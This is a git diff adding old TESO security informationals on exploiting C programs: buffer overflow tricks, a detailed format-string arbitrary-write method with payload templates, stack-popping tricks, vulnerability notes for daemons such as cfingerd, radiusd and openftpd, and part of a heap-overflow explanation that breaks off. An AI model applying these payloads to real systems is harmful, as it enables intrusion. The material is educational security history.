88 case, where some special code is used.
89 Imagine something like:
90
91 void func (void) {
92 char buffer[256];
93
94 while (gets (buffer) != NULL)
95 parseline (buffer);
96 }
97
98 Normally the stack space looks like
99
100 <buffer><framepointer><retaddr>
101
102 We assume that both the framepointer and the retaddr are 64 bit pointers,
103 stored big endian and the upper 32 bits have to be zero'ed out (this is
104 the case on Irix for example). Now we have a problem since we cannot
105 store NUL bytes but are required to in order to overwrite the retaddr with
106 a valid address that points into our code. But we can exploit the
107 incremental behaviour, by using something like this:
108
109 <264 buffer with NOPS and shellcode><4 dummy bytes><lower 32 bits retaddr>
110 <264 buffer with NOPS and shellcode><3 dummy bytes>
111 <264 buffer with NOPS and shellcode><2 dummy bytes>
112 <264 buffer with NOPS and shellcode><1 dummy bytes>
113 <264 buffer with NOPS and shellcode><0 dummy bytes>
114
115 We overflow the buffer five times, the first time we write the correct
116 return address in the lower 32 bits, but set the upper 32 bits to something
117 non-NUL. Then we overflow four times more to store a NUL byte each time,
118 effectivly resulting in a buffer layout like:
119
120 <264 buffer with NOPS and shellcode>0x000000007fff2058
121
122
123trick IV. "type issues and funky long strings"
124
125 No length can be negative. Every physics knows this, but some people, like
126 l0pht don't know this ;-). So all string functions take unsigned arguments
127 if a length is required, as in strncat and strncpy. However, if the user
128 has a way to supply the length argument you can render the length protection
129 unuseable. Though this is normally not the case, there are some very nasty
130 ways this can happen. An example snippet may look like:
131
132 void func(char *dnslabel) {
133 char buffer[256];
134 char * indx = dnslabel;
135 int count;
136
137 count = *indx;
138 buffer[0] = '\x00';
139
140 while (count != 0 && (count + strlen (buffer)) < sizeof (buffer) - 1) {
141 strncat (buffer, indx, count);
142 indx += count;
143 count = *indx;
144 }
145 }
146
147 Although length checking and strn* functions were used this is exploitable,
148 because count can contain negative values. (char) is a signed type and will
149 be sign extended to a larger type, such as (int). Therefore the
150 "count = *indx;" statement can assign count values from -128 to +127. This
151 way the later check can be circumvented. For the strncat function the count
152 value will be used as if it would be assigned to an unsigned int variable,
153 resulting in a very large number (on 32 bit systems -1 will be 2^32-1).
154 This complicated scheme has many little mods, and you can way too fast
155 assume a fix might be just to put unsigned type modifiers in front of the
156 count variables, but it remains exploitable.
157
158 Every function that takes a size_t argument expects an unsigned value.
159 However if the program can be tricked into supplying a negative (signed)
160 number as size argument this value will be casted to unsigned, hence
161 resulting in a very large number. This is useful for any strn* function,
162 where the source string is user supplied.
163
164
165trick V. "overflow too short"
166
167 Often your reachability is limited when overwriting the target buffer,
168 sometimes it does not even reach the return address or only parts of it.
169 There are several known methods to help you in this situation, most famous
170 the "one byte framepointer overflow". However, in case you can overwrite
171 pointers that are later write-accessed you can possibly write to an arbitrary
172 location in the process memory. This has been well demonstrated by bulba and
173 kiler of lam3rz in their phrack 56 article, however under the scope of
174 circumventing StackShield and StackGuard protections. Also you can utilize
175 heap overflow like techniques in the local variable stack space you can
176 overwrite to jump to your code if possible. Also, if you just can't reach
177 the framepointer or return address, take a look at the local variables
178 inbetween your buffer and the return address. Maybe you can first go for
179 them allowing you to later overwrite the return address.
180
181
182trick VI. "s[n]printf issues"
183
184 Sometimes programmers make a very nasty mistake when dealing with user
185 supplied data and sprintf (or snprintf) type of functions. They directly
186 allow the user to put format characters into the string. This looks like
187
188 void func (char *str, char *password) {
189 char msg[1024];
190
191 snprintf (msg, sizeof (msg) - 1, str);
192 ...
193 }
194
195 If the user can supply the string pointed to by str he can do some nasty
196 things:
197
198 - it may be possible to obtain otherwise secret information, if the user
199 has the possibility to obtain the msg string later. This can be done by
200 inserting %p and %s format characters, which will pull the stack
201 parameters into the output string. Although a segfault might be the
202 direct result, it may be useful.
203
204 - exploitation ! "how ?" you might ask, and yes, it's really tricky. here
205 is a snippet from the sprintf manpage:
206
207 n The number of characters written so far is stored
208 into the integer indicated by the ``int *'' (or
209 variant) pointer argument. No argument is con-
210 verted.
211
212 So you can write a small 32 bit number (or 64 bit, depending on the
213 architecture) to a pointer which is on the stack. So if the stack might
214 look like this (in a suid local application):
215
216 32 bits (void *) <some pointer>
217 32 bits (char *) <user supplied string>
218
219 You can use a format string like "0123%n" to write 0x00000004 to the
220 location where <some pointer> points to. This requires a very special
221 context for real exploitation, but it is worth it. Also, if you have
222 somehow the method to set the pointer arbitrarily where the integer
223 is stored you can set it on an uneven boundary to only partially over-
224 write things (like the frame pointer), which may be interesting.
225
226 (update: this can be done very effictivly using the technique described
227 in TESO Informational #27. Also it is very helpful if you can see the
228 printf'd string as response before actually exploiting.)
229
230 - enlarging the exploitation buffer, using something like this:
231 "%8d%8d%8d%8d<buffer>", so you'll get 8*4 = 32 bytes in front of the
232 buffer, only wasting 12 bytes. Though this destroys the stack, but since
233 you're going to destroy it anyway, this doesn't matter :-)
234 Also try "%-200d", which will create a 200 byte long space right-padded
235 string, or "%.100d" which will create up to 100 zero characters. There
236 is an overflow in the libc where "%.1200d" creates a segfault. This isn't
237 the case for the space padding.
238
239
240trick VII. "sizeof (string) and i'm safe, right ?"
241
242 Often people think if they use sizeof() stuff in string functions they are
243 safe. Most of the times this is true, but there are differences among the
244 str*n* functions that a programmer might oversee.
245
246 strncpy (target, source, sizeof (target)) is safe, as we all knew, but
247 what about
248
249 strcpy (target, "");
250 strncat (target, source, sizeof (target));
251
252 This is not safe, since strncat appends sizeof (target) characters plus a
253 trailing NUL character. If you're unsure about whether some string function
254 terminates on the sizeof's byte or at the sizeof's - 1 byte, just write
255 a small test program to check out. Most programmers are unsure about the
256 behaviour of the string functions and may introduce exploitable one byte
257 overflows this way.
258
259
260trick VIII. "adjascent buffers"
261
262 This was known before the article in Phrack 56, but the article offers a
263 great in-depth discussion about this problem. Basically it works like:
264
265 void func (char *foo) {
266 char buf[32];
267 char buf1[16];
268 char buf2[16];
269
270 buf1[0] = buf2[0] = '\x00';
271 strncat (buf2, foo, sizeof (buf2));
272 strcpy (buf1, "blablabla");
273
274 buf[0] = '\x00';
275 strcat (buf, buf1);
276 strcat (buf, buf2);
277 }
278
279 The programmer assumes that proper bound checking has been done before and
280 later uses direct strcat's to construct a string in buffer "buf". But the
281 strcat (buf, buf2) may very well add more then sizeof (buf2) characters,
282 since buf2 can be non-NUL terminated. This is because of the strncat, as
283 explained in trick VII. You can overwrite the lower three bytes of the
284 frame pointer in this example code.
285
286
287If you know some tricks not listed here, please mail them to me
288(scut@nb.in-berlin.de).
289
290===============================================================================
291
diff --git a/informationals/teso-i0026.txt b/informationals/teso-i0026.txt
new file mode 100644
index 0000000..f2178ac
--- /dev/null
+++ b/informationals/teso-i0026.txt
@@ -0,0 +1,54 @@
10026 2000/05/30 file existance check through suid binaries
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: file existance check through suid binaries
8Date .................: 2000/05/30 22:00
9Author ...............: scut
10Publicity level ......: most likely known
11Affected .............: some suid binaries
12Type of entity .......: program behaviour
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: scut
16
17===============================================================================
18
19Some suid binaries take filenames as arguments. Some of them even do something
20with the files they take as arguments. And some will even tell you somehow what
21happened when they do something.
22
23This natural behaviour may manifast itself in a small error which could be
24security relevant glitch which allows to check for file existance, although
25normally your permission would forbid that.
26
27As an example, here is the behaviour of the latest IRIX 6.5 netstat binary,
28which happens to have setgid sys permissions. The directory "/tmp/rootonly"
29is only accessible to the root user and users in the sys group, so normal
30users don't have permission to access it, but netstat has.
31Netstat uses the stat() function to check for file existance.
32
33hyperion 24% ls -lsa /tmp/rootonly/
34Cannot access directory /tmp/rootonly/: Permission denied
35total 0
36hyperion 25% ls -lsa /tmp/rootonly/foobar
37Cannot access /tmp/rootonly/foobar: Permission denied
38hyperion 26% /usr/etc/netstat 1 /tmp/rootonly/foo
39netstat: cannot open /tmp/rootonly/foo: No such file or directory
40hyperion 27% /usr/etc/netstat 1 /tmp/rootonly/foobar
41 input (ec0) output input (Total) output
42 packets errs packets errs colls packets errs packets errs colls
43 14980 0 10661 0 45 15353 0 11034 0 45
44hyperion 28%
45
46The same can be applied to directories, which can be stat'ed too. There
47is a trick to decide whether a found name is a directory or not.
48Let's say you discovered that there is something stat'able called "foo".
49Just append a "/." to it and check for "foo/.". If it is a file this
50won't work, if it is a directory, stat() will happen as if you didn't
51appended the string.
52
53===============================================================================
54
diff --git a/informationals/teso-i0027.txt b/informationals/teso-i0027.txt
new file mode 100644
index 0000000..6047f11
--- /dev/null
+++ b/informationals/teso-i0027.txt
@@ -0,0 +1,279 @@
10027 2000/06/29 format string supply vulnerabilities and exploitation
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: format string supply vulnerabilities and exploitation
8Date .................: 2000/06/29 22:00
9Author ...............: scut
10Publicity level ......: partly known
11Affected .............: programs containing format string vulnerabilities
12Type of entity .......: exploitation techniques
13Type of discovery ....: useful information
14Severity/Importance ..: medium
15Found by .............: various people, comments by scut and smiler
16
17===============================================================================
18
19Some programs use the printf format strings in a way that let users supply
20either the whole or parts of the format string. This way users may use special
21format characters to write to parts of the memory, resulting in a compromise.
22
23For example, code like this is vulnerable:
24
25void
26func (char *usersupplied)
27{
28 char buffer[512];
29
30 snprintf (buffer, sizeof (buffer), usersupplied);
31 buffer[sizeof (buffer) - 1] = '\x00';
32}
33
34By using a usersupplied string like "%p" the user may control parts of the
35behaviors of the snprintf function. While most of the format control characters
36only pop data from the stack and display it, like "%d" pulls an integer value
37from the stack and writes the ascii representation of it to the string, the
38"%n" parameter does something special. It writes the number of bytes the
39snprintf function has written already to the (int *) which lies next on the
40stack.
41
42Sometimes this may not be necessary, as in this example:
43
44void
45func (char *usersupplied)
46{
47 char buffer[512];
48
49 if (strlen (usersupplied) > 200)
50 return;
51
52 sprintf (buffer, usersupplied);
53}
54
55In this case we need to expand our userbuffer from less then 200 bytes to more
56then 512 bytes to create an ordinary stack overflow. This can be done using
57a variety of format controls. You can use "%400d" to create a 400 byte long
58string, then use ordinary data to overwrite the return address. Older GNU
59libc libraries contain a bug when the number of characters exceeds 1000. Then,
60instead of using something like "%2000d", just use "%-2000d", which pads with
61spaces to the right.
62
63But in cases where a limited printf function, such as snprintf, syslog and
64vsnprintf is used, we have to use another method to exploit this. Remember
65the "%n" format control, it stores the number of written characters. Ok,
66we may overwrite memory with it, but how do we overwrite an arbitrary
67address of our choice ?
68
69To do this, we have to make the stack pointer point to the address we want
70to write to. The most favorable situation would be if the stack pointer points
71into our format string, so we can store the address there and then use "%n" to
72write to it. Most of the times the memory layout looks like:
73
74
751 3 2
76< data ... > < format string ... >
77lower stack addresses higher stack addresses
78
79Where the stack pointer points to (1). We have to move it so that it points
80to the (2) position using control characters, such as "%f", and "%d". On the
81x86 architecture an integer takes up four bytes (ILP32 rule), and a %d will
82pop four bytes from the stack, increasing the stack pointer by a value of four.
83This way we have the stack pointer at (3) now. So we use another bunch of
84format parameters to move it upwards until it points to (2). If our format
85string is of limited size we should look at efficiency doing so. Lets
86consider we use "%d" and we have to move it by 256 bytes upward. Then we have
87to use 64 "%d" sequences, which take up 128 bytes. The expansion ratio is
882:4 = 1:2. Two bytes ("%d") result in four bytes being popped. A more efficient
89solution is the usage of "%f", which pulls 8 bytes from the stack. But there
90is something odd about that, since "%f" is a float, it is evaluated in another
91way then "%d", and while doing so it may cause an arithmetic exception because
92of a division by zero. Since you cannot control the data that is popped from
93the stack, it cannot be used. However, if you use "%.f" instead, an invalid
94float number won't cause an exception, but still it pops eight bytes from the
95stack, so it's exactly what we need. It is more efficient than the "%d" method,
96since three bytes ("%.f") will pop eight, so it's 3:8, and thats greater then
972:4.
98
99So what to do if by popping you get the stack pointer into the regions of a
100buffer you can supply (2), but it's misaligned ? Is there such things as a
101one-byte-pop control sequence ?
102Fortunately there is no such thing, but you can get rid of that by using a
103special alignment in your buffer, and just use "ppp<buffer>" instead of
104"<buffer>", where 'p' is the padding, which varies from zero to three
105characters. After all, you should get the stack pointer pointing exactly to
106the first byte of <buffer> by using the methods above.
107
108Now, you can store an address to write to in that buffer, so for x86 you'd
109want to store it in little endian order. Say we want to store 0xbfff3407,
110then the buffer would look like "\x07\x34\xff\xbf". Now, the stack pointer
111points to it and the usage of "%n" write the counter of written bytes to
112it. Not very helpful, since we cannot control this counter, at least not
113fully.
114
115So what can we control ? We control the address the counter is written to,
116and we can modify the counter a bit by using some bogus data, that will
117increase it. So here is an example:
118
119 int i;
120
121 printf ("aaaaaaaa%20d%n\n", 3, &i);
122 printf ("%d\n", i);
123
124Will create an output like:
125
126aaaaaaaa 3
12728
128
129So we have increased the number of written bytes by 20 with our "%20d". How
130much can we increase it ? So high that we can write, say 0xbfff9210 ?
131In some GNU libc versions we can increase it beyond the number of allowed
132characters, but if it gets too high, the library crashes. So to assume the
133worst, say, we just can increase it in very small boundaries, like no more
134then 0x100. So we can store small numbers, where the least significant byte
135is under our control to a location of our choice. And we can do this more
136then once.
137
138To say it clearer, we can store a byte of our choice to a location of our
139choice. More then once, as often as we want. And an address just consists
140out of four bytes.
141
142So what do we do ?
143
144Say the return address we want to overwrite is located at 0xbfff82e8
145
1460xbfff82e8: 0x44 0x20 0x08 0x08 0x7a 0xb0 0xff 0xbf
147 ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^
148 return address data behind it (fp)
149
150
151So to overwrite the return address we overwrite four bytes, we start with
152the least significant, which is the leftmost in little endian notation. So
153say we want to replace the return address with 0xbfff8010, then we have to
154make the four bytes
155
1560xbfff82e8: 0x10 0x80 0xff 0xbf
157
158To do this we have to start with the leftmost, by storing 0x10 to
1590xbfff82e8:
160
161 (a) (b)
162"\x01\x02\x03\x04\xe8\x82\xff\xbf<stackpop><pad>%n"
163
164Where <stackpop> makes the stack pointer point to the first byte (a) of
165our buffer. Then we use <pad> to increase the counter of written bytes to
166a value where the least significant byte is the one we want to store. So
167if the counter is 0x000000e0, we increase it by 0x30, and hence use "%48d"
168as padding. Now the stack pointer points to (b), where our target address
169is stored, and the counter is 0x00000110. Now we use "%n" to store this
170counter to the address. After that, the memory will look like:
171
1720xbfff82e8: 0x10 0x01 0x00 0x00 0x7a 0xb0 0xff 0xbf
173
174So the leftmost byte is that of our choice, and the counter is 0x0110 now.
175The next byte we want to store is 0x80, which is 0x70 higher then 0x10, so
176we use "%112d" to increase it by that value, and then use "%n" to store it
177to 0xbfff82e9. But we have to reconstruct the format buffer to do this.
178
179 (c) (d)
180"\x01\x02\x03\x04\xe8\x82\xff\xbf\x01\x02\x03\x04\xe9\x82\xff\xbf"
181"<stackpop><pad1>%n<pad2>%n"
182
183After the first write the stack pointer points to (c) now, and we use the
184pad2 ("%112d") with this dummy value to increase the counter so that the
185LSB is 0x80. The stack pointer points to (d) now, and we use "%n" once again
186to store the 32 bit counter to the 0xbfff82e9 address.
187The stack data looks like this now:
188
189 [-----------------]
190 [------------------]
1910xbfff82e8: 0x10 0x80 0x01 0x00 0x00 0xb0 0xff 0xbf
192 ^^^^
193
194Note that we destroyed the byte behind the return address with our second
195write. Now we proceed using the same method for the last two bytes, and the
196final memory looks like:
197
1981rst write [-----------------]
1992nd [------------------]
2003rd [------------------]
2014th [------------------]
2020xbfff82e8: 0x10 0x80 0xff 0xbf 0x02 0x00 0x00 0xbf
203
204We've replaced the return address with the one of our choice now, using four
205times the "%n" format parameter.
206
207
208PROBLEMS YOU MAY RUN INTO
209
210[1. figuring the distance]
211
212The first problem is to know many bytes the stack pointer is away from your
213buffer. This can be found out easily, if you can see the buffer output. To
214do this, you create a buffer like this:
215
216"iiiioooo<stackpop-fixed><stackpop-vary>|%08x|%08x|"
217
218The stackpop-fixed consists out of the minimum distance you assume, so it
219is just a few dozen times "%.f". The vary-buffer is increased each try from
220"" to as much "%.f"'s as you need. Then two "%08x"'s are used to inspect the
221content where the stack pointer points to. So if you see your "iiiioooo"
222as "|69696969|6f6f6f6f|" or "|..696969|69", "|....6969|6969" or
223"......69|696969", then you can recalculate both the buffer distance to the
224stack pointer and the alignment necessary.
225
226
227[2. buffer address]
228
229One problem may be that you need to know the exact addresses of your buffer
230and of the return address location. This can be solved using two tricks.
231First the distance between this addresses may not vary that much, so if
232you know one address you can most likely make an educated guess about the
233other one. But how do we know the first one ?
234
235First you need to decide what kind of buffer address you want to brute force,
236the format buffer or the target buffer. Because there is not always a simple
237target buffer, such as if you use fprintf, we try with the source buffer here.
238
239The main idea is that we inspect the memory using a pointer we supply. Since
240we already know the distance, we use a buffer like this:
241
242"<p-address><stackpop>|____________________|x|%.20s!"
243
244It works like this: We first pop the stack pointer using the <stackpop> code,
245so that we advance the it by the distance we figured using the [1.] trick.
246Then we write a 20 byte long string containing '_' characters, followed by a
247mark "|x|". Now we use "%.20s" to get no more then 20 bytes of data from the
248address <p-address>. So we can inspect 20 Bytes of memory at a time if we
249can see the output. If we get output such as this,
250
251 [------ n bytes ----](1) (2)
252"...crap...|____________________|x|___________|x|... crap ..."
253
254we can recalculate the exact buffer location, because we knew the p-address
255pointed to the (1) address in the format string. So by using this formula:
256
257buffer_address = p-address + ((2) - (1)) - n.
258
259To distinguish the source from the destination buffer we use a trick, we store
260a "%%" within the source buffer, which gets evaluated to just "%" in the
261target.
262
263
264[3. getting the return address location]
265
266This may be extrapolated from the buffer address, but there is another nice
267method to get it. Remember the "%s" we used to inspect memory ? Why not
268inspect the target memory where the return address may lie too ? So use
269something like:
270
271"<p-address><stackpop>|%.4s|"
272
273And brute the p-address around where you suspect the return address lies.
274So if you know normally there is an address like 0x0804.... stored there,
275just brute until you find it. This way you avoid segfaults.
276
277
278===============================================================================
279
diff --git a/informationals/teso-i0028.txt b/informationals/teso-i0028.txt
new file mode 100644
index 0000000..b012b7d
--- /dev/null
+++ b/informationals/teso-i0028.txt
@@ -0,0 +1,90 @@
10028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba)
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: new format string problems (ntalkd, radiusd, innd,
8 samba)
9Date .................: 2000/09/17 12:00
10Author ...............: scut
11Publicity level ......: partly known
12Affected .............: programs containing format string vulnerabilities
13Type of entity .......: exploitable format string vulnerabilities
14Type of discovery ....: useful information
15Severity/Importance ..: high
16Found by .............: various people, scut (using typo's elite tesogcc)
17
18===============================================================================
19
20--[ linux-ftpd source in netstd package of Debian 2.2 potato
21
22ftpd.c, /setproctitle
23
24While this problem is within the source of any Linux distribution, it only
25manifests in Debian because the define that has to be matched
26(HAVE_SETPROCTITLE) is only triggered on Debian. It is exploitable for
27anonymous/ftp logins where the supplied password (which should be the email
28address) is used as part of the format string in the setproctitle call. Though
29this problem was discussed on Bugtraq in Juli 2000, there is still no public
30exploit for this problem. Interestingly the same problem is within the Irix
31ftpd source, though it is not activated, because again the define is missing.
32A similar problem was also found in earlier proftpd sources.
33
34
35--[ linux-ntalkd source in netstd package of Debian 2.2 potato
36
37netkit-ntalk-0.10/talkd/announce.c, /fprintf format string
38
39If some use wants to talk to another user using talk an announce message is
40send to the recipient, notifying of the request. This announce message is
41partly build from user input (from the person requesting the talk), and then
42fed into a fprintf, resulting in a format string vulnerability. This issue
43has been known in the scene I've been told by another person, though there
44is no exploit for it yet, since character filtering and size issues make
45exploitation tricky.
46
47
48--[ lucent/livingston radius daemon 2.1 (radius21.tar.Z)
49
50src/log.c, /syslog(priority, buffer)
51
52This bug shows how careless programming can turn in your worst nightmare.
53The log function itself contains a formating bug: The format string is
54properly printed into a stack buffer, and then this buffer is used as the
55format string to syslog, *ouch*. So every log function that has even parts
56of the input supplied by the user (there are plenty) can be used to exploit
57this hole. This buggy code only manifests if VSYSLOG is defined, this has
58to be checked, when it is the case (which is another bug also, it should
59activate if VSYSLOG is not defined). There may be some better ways to
60exploit it, I've checked for some minutes, one method would be to try
61to authenticate with a username containing a space, but then only 64 bytes
62of format string are available to the attacker. If the users are allowed to
63change their password (in general), then you have 253 of format string if
64you try to change the password for a user that doesn't exist
65(radiusd.c, /not found).
66
67
68--[ innd - internet news daemon 2.3.0
69
70innfeed/misc.c, /^void logOrPrint
71
72Like in the radius daemon there is a bug in the logging routine also. The
73format is properly printed into a 512 byte long buffer and then this buffer
74is carelessly printed as format string using syslog. Haven't checked for
75exploitability.
76
77
78--[ samba 2.0.7
79
80utils/smbpasswd.c:241: warning: TESO: Insufficient Format arguments: fprintf(2/3).
81utils/smbpasswd.c:249: warning: TESO: Insufficient Format arguments: printf(1/2).
82utils/smbpasswd.c:251: warning: TESO: Insufficient Format arguments: fprintf(2/3).
83
84Using smbpasswd and creating an error message you can stuff user supplied
85things into parts of the format strings passed to fprintf/printf. What
86can be gained using this has to be checked.
87
88
89===============================================================================
90
diff --git a/informationals/teso-i0029.txt b/informationals/teso-i0029.txt
new file mode 100644
index 0000000..045405a
--- /dev/null
+++ b/informationals/teso-i0029.txt
@@ -0,0 +1,86 @@
10029 2000/10/05 format string: poping the stack faster than with %f
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: format string: poping the stack faster than with %f
8Date .................: 2000/10/05 22:00
9Author ...............: lorian
10Publicity level ......: saw noone using this feature
11Affected .............: programs containing format string vulnerabilities
12Type of entity .......: (un)documented features of format strings
13Type of discovery ....: useful information
14Severity/Importance ..: medium
15Found by .............: me? hey cant believe that noone did it so far ;)
16
17===============================================================================
18
19I just discovered a nice thing:
20
21if you deal with format string problems you have often very small buffers
22to put the string into but a huge stack above. So question is: how do i
23pop up the stack fast with a small format string. I know that some guys
24use %f or %.f because that pops 8 byte at once.
25
26But using a %f is not always possible, because a lot of programs come
27with their own implementation of snprintf. And normaly those versions
28are all without %f cause displaying a floating point number is not so
29easy. (Okay most of those lack %n, too but you can still inspect memory
30without %f %n).
31
32So what is it what i found?
33Kinda simple its the * char inside format strings. It means "read the
34width from the next stack argument".
35So "%*d" pops for example 2 bytes. This is fine and works for all
36(g)libc implementations. If you think twice this is not really good
37because you dont really know how big the output is (width from unknown
38stack argument) That means you cannot really use it except you know
39exactly what goes on on the stack.
40
41But hey keep cool here are some things that makes it usable for
42your format string attacks. Unfourtunately we must say good bye
43to glibc Os (linux) at this point cause glibc does not have the
44features that come now.
45
461) Are we in space? Alot of stars attacking me!
47
48lets try it: printf("%***d\n", 1, 2, 3, 4);
49output: 4
50Hey cool! Isnt it? Multiple stars are accepted! Means with ONE
51single char you can pop up the stack 4 bytes.
52Here are some OS that supports it:
53
54OpenBSD
55FreeBSD
56NetBSD
57HP-UX B.11.00 U 9000/800
58SunOS 5.7
59Solaris 2.8
60
61Keep in mind:
62NOT LINUX due to glibc
63
64
652) Hey! You fooled me, that does not kill the above described
66problem with a unknown width argument from stack.
67
68Cool down! The solution is simple:
69
70%****************1d
71
72this pops 17*4 bytes but only gives out a string of width 1
73
74The combinations are endlessly ;) Damn GLIBC ;) I think i must read glibc source.
75Btw nice glibc detection if you can see the output of the format string is:
76%1*1d this stays unchanged under GLIBC. No format string interpretion.
77Remember for BSD this only mean: POP 8 bytes and display 1 char.
78
79
80
81Hehe Scut I see this giving you a nice...
82
83*** THE END ***
84
85===============================================================================
86
diff --git a/informationals/teso-i0030.txt b/informationals/teso-i0030.txt
new file mode 100644
index 0000000..2b9593e
--- /dev/null
+++ b/informationals/teso-i0030.txt
@@ -0,0 +1,53 @@
10030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: exploitable format string problem in cfingerd <= 1.4.2
8Date .................: 2000/10/14 12:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: cfingerd (The Configureable Finger Daemon) <= 1.4.2
12Type of entity .......: exploitable format string vulnerability
13Type of discovery ....: vulnerabilitiy
14Severity/Importance ..: high
15Found by .............: scut
16
17===============================================================================
18
19The Configureable Finger Daemon claims from itself to be quite secure, however
20it suffered from several buffer overflows in the past, and this time it suffers
21from a format string vulnerability when calling syslog, as in:
22
23snprintf(syslog_str, sizeof(syslog_str), "%s fingered (internal) from %s",
24 username, ident_user);
25syslog(LOG_NOTICE, (char *) syslog_str);
26
27And some other times in the code. Although it looks like it is trivial to
28exploit, this may not be as easy as it looks. We can supply both the username
29and the ident_user buffers, though the ident_user buffer is limited to 60
30arbitrary bytes. The username buffer has to survive very restrictive whitelist
31filtering, hence it is not suitable to store the shellcode in it. And 60 bytes
32is not enough usually to store the stackpop+addresses+write+shellcode (using
33"%.f" or the like to move esp) or the write+addresses+shellcode (using %..$n)
34in it, so we have to find another way to inject the data into the memory.
35
36Here is how we do it:
37sscanf(username, "%[^\r\n]\r\n", username);
38
39This line allows us to store an additional 70 arbitrary bytes, if we make
40username look like this: legit\rourdata, where legit is a normal finger query,
41and ourdata is arbitrary stuff. The \r char will be overwritten by a NUL byte
42and hence the following restrictive filtering only affects the legit content.
43
44This is how we exploit it on Linux (debian 2.1/2.2), on *BSD (and bsd libc
45based systems) we run into problems with the %..$n trick, because they deny
46large values. I currently know of no way to exploit this on BSD.
47
48An exploit is available as 7350cfingerd, with default offsets for some
49distributions. Cfingerd is not enabled on most distributions by default,
50however.
51
52===============================================================================
53
diff --git a/informationals/teso-i0031.txt b/informationals/teso-i0031.txt
new file mode 100644
index 0000000..84418ba
--- /dev/null
+++ b/informationals/teso-i0031.txt
@@ -0,0 +1,68 @@
10031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: exploitable one-byte overflow in openftpd 1.0 beta28
8Date .................: 2000/12/20 23:00
9Author ...............: scut
10Publicity level ......: unknown before, told to openftpd authors
11Affected .............: openftpd 1.0 beta28 and below
12Type of entity .......: exploitable buffer overflow
13Type of discovery ....: vulnerabilitiy
14Severity/Importance ..: high
15Found by .............: scut
16
17===============================================================================
18
19The OpenFTPd project develops a FTP daemon optimized for warez and mp3 sites,
20with extensive script and maintenance support, far over the FTP RFC standards.
21It introduces a command 'SITE INFO' to let each user set his own 'infoline',
22a describing line, which may not be longer then 50 chars. Often it is used to
23set affiliations to certain warez groups or short mottos or slogans.
24
25However, this 'SITE INFO' is flawed:
26
27int cmd_site_info(char** p, int n)
28{
29 char str[128];
30 char infoline[50];
31 int i;
32
33 if (!n) printf("UIN %s\n", usr.name);
34 else {
35 snprintf(str, sizeof(str), "%s ", p[0]);
36 for(i = 1; i < n; i++) {
37 strncat(str, p[i], sizeof(str) - strlen(str));
38 strncat(str, " ", sizeof(str) - strlen(str));
39 }
40 str[strlen(str) - 1] = '\0';
41 printf("UIN %s %s\n", usr.name, str);
42 }
43 if (!fgets(str, sizeof(str), stdin))
44 strncpy(str, "-!Bpipe error!0", sizeof(str) - 1);
45 return send_reply(*str == '+' ? 200 : 550, str+1);
46}
47
48The two strncat's store a NUL byte right behind the str buffer, if the content
49of str is already long enough. On x86 platforms the least significant byte of
50the framepointer is overwritten and the stack frame of the calling function
51slides down. This is very much similar to the exploitable one-byte overflow
52in the OpenBSD ftpd recently discovered. Here a reasonable target to store the
53real retaddr in is the buffer str[256] in the calling function, which may be
54easily written into by issuing something like:
55
56AAAAAAAAAAAAAAAAAAAA<up to 256 bytes>\n
57SITE INFO a aaaaaaaa<more then 128 bytes>\n
58
59A substantial portion of the str[256] buffer contains 'A' characters and you
60may have luck that your stored retaddr is at the right place. The ftpd is
61respawning, since only a child process segfaults on wrong attempts, so you
62have enough space and time to try all possible combinations (~ 1000 * 4 * 64
63= 256,000).
64
65The authors have been notified, let's see whether it gets fixed.
66
67===============================================================================
68
diff --git a/informationals/teso-i0032.txt b/informationals/teso-i0032.txt
new file mode 100644
index 0000000..f238441
--- /dev/null
+++ b/informationals/teso-i0032.txt
@@ -0,0 +1,350 @@
10032 2001/02/03 explanations of malloc() overwrite technique
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Explanations of malloc() overwrite technique
8Date .................: 2001/02/03 23:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: heap overflows in malloc'ed memory, special libc's
12Type of entity .......: exploitation technique
13Type of discovery ....: exploitation technique
14Severity/Importance ..: medium
15Found by .............: Solar Designer
16
17===============================================================================
18
19Originally discovered by Solar Designer, this techniques allows arbitrary
20memory overwrites if you can overflow a malloc'ed buffer.
21
22On a common buffer overflow within the stack space, there are interesting
23variables after the overflowing buffer. Often this includes pointers, return
24addresses, function parameters, etc.
25
26In heap space there is far less interesting data that can be overwritten. But
27buffer overflows do occur in malloc'ed or static buffers, too. For static
28buffers, there are some techniques, namely to overwrite function pointers,
29jmp_buf'ers, or GCC created DTORS tables.
30
31For malloced space the situation was way more complicated, since the heap
32space used by malloc is dynamically ordered, giving away chunks of memory to
33the program if it requests them. Beside the order also the addresses and the
34content of the memory can vary a lot depending on the programs usage, system
35load or the moonlight. Well, nearly.
36
37However, it is desireable to find a more reliable way to exploit buffer
38overflows occuring within malloc'ed areas. This may have been the intention
39of our hero, Solar Designer, who thought upon this neat technique.
40
41Here it is, but first some technical background.
42
43The malloc(3) function is used to request memory from a dynamically growing
44memory area, called 'the heap'. Using the sbrk(2) system call a program can
45modify the border of this area. If the program needs a lot of memory in
46pieces and dynamically this can result in a lot of work to sort, use, reuse
47this memory areas efficiently. So this basic functionality of memory
48management is implemented in a efficient way within the standard C library.
49The internals are not interesting to the programmer, since he only uses
50malloc(3) to request memory of a certain size, and free(3) to release the
51memory after it is not in use anymore.
52
53But for taking advantage of a buffer overflow within a buffer that was created
54using malloc(3) we have to look at the details of the memory management
55system. In this case we use the all so popular GNU C Library.
56
57The C library keeps the information about the memory slices the application
58requests in so called 'chunks'. They look like this (adapted from malloc.c):
59
60 +----------------------------------+
61 chunk -> | prev_size |
